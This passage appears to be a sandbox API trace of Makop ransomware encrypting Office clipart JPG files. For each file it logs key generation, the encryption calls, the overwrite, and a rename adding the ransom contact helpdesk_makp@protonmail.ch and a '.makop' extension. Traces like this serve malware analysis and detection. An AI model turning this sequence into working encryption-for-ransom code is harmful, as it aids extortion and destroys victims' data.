Office\\CLIPART\\PUB60COR\\J0382944.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.357] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.358] CloseHandle (hObject=0xf0) returned 1 [0137.359] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1531c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382947.JPG", cAlternateFileName="")) returned 1 [0137.359] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG") returned 63 [0137.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.360] GetProcessHeap () returned 0x48a0000 [0137.360] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.360] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.360] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.360] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.364] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.364] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.364] GetProcessHeap () returned 0x48a0000 [0137.364] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.364] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.364] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.364] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.364] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.365] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.365] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.365] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.365] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.365] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.365] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.365] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.365] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1531c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1531c, lpOverlapped=0x0) returned 1 [0137.368] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x15320, dwBufLen=0x15320 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x15320) returned 1 [0137.369] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.369] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x15320, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x15320, lpOverlapped=0x0) returned 1 [0137.370] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.370] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x153f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.370] SetEndOfFile (hFile=0xf0) returned 1 [0137.377] GetProcessHeap () returned 0x48a0000 [0137.377] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.377] GetProcessHeap () returned 0x48a0000 [0137.378] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.378] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.378] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.379] CloseHandle (hObject=0xf0) returned 1 [0137.379] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ad37, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382948.JPG", cAlternateFileName="")) returned 1 [0137.379] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG") returned 63 [0137.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.380] GetProcessHeap () returned 0x48a0000 [0137.380] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.380] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.381] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.381] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x9, lpOverlapped=0x0) returned 1 [0137.384] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.385] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.385] GetProcessHeap () returned 0x48a0000 [0137.385] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.385] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.385] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.385] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.385] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.385] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.385] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.385] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.386] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.386] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.386] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.386] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.386] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1ad37, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1ad37, lpOverlapped=0x0) returned 1 [0137.392] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ad40, dwBufLen=0x1ad40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ad40) returned 1 [0137.393] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.393] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1ad40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1ad40, lpOverlapped=0x0) returned 1 [0137.394] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.394] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ae14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.394] SetEndOfFile (hFile=0xf0) returned 1 [0137.403] GetProcessHeap () returned 0x48a0000 [0137.403] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.403] GetProcessHeap () returned 0x48a0000 [0137.403] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.403] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.403] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.405] CloseHandle (hObject=0xf0) returned 1 [0137.405] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x178d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382950.JPG", cAlternateFileName="")) returned 1 [0137.405] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG") returned 63 [0137.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.407] GetProcessHeap () returned 0x48a0000 [0137.407] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.407] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.407] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.408] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0137.412] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.412] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.412] GetProcessHeap () returned 0x48a0000 [0137.412] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.412] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.412] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.412] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.412] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.412] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.413] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.413] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.413] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.413] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.413] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.413] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.414] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x178d2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x178d2, lpOverlapped=0x0) returned 1 [0137.416] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x178e0, dwBufLen=0x178e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x178e0) returned 1 [0137.422] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.422] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x178e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x178e0, lpOverlapped=0x0) returned 1 [0137.423] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.423] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x179b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.423] SetEndOfFile (hFile=0xf0) returned 1 [0137.431] GetProcessHeap () returned 0x48a0000 [0137.431] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.431] GetProcessHeap () returned 0x48a0000 [0137.431] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.431] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.431] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.432] CloseHandle (hObject=0xf0) returned 1 [0137.432] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17749, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382952.JPG", cAlternateFileName="")) returned 1 [0137.432] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG") returned 63 [0137.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.437] GetProcessHeap () returned 0x48a0000 [0137.437] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.437] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.437] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.438] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x7, lpOverlapped=0x0) returned 1 [0137.442] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.442] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.442] GetProcessHeap () returned 0x48a0000 [0137.442] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.442] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.442] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.442] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.442] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.443] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.443] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.443] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.443] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.443] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.443] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.443] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.443] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x17749, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x17749, lpOverlapped=0x0) returned 1 [0137.446] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x17750, dwBufLen=0x17750 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x17750) returned 1 [0137.447] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.447] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x17750, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x17750, lpOverlapped=0x0) returned 1 [0137.448] CryptDestroyKey 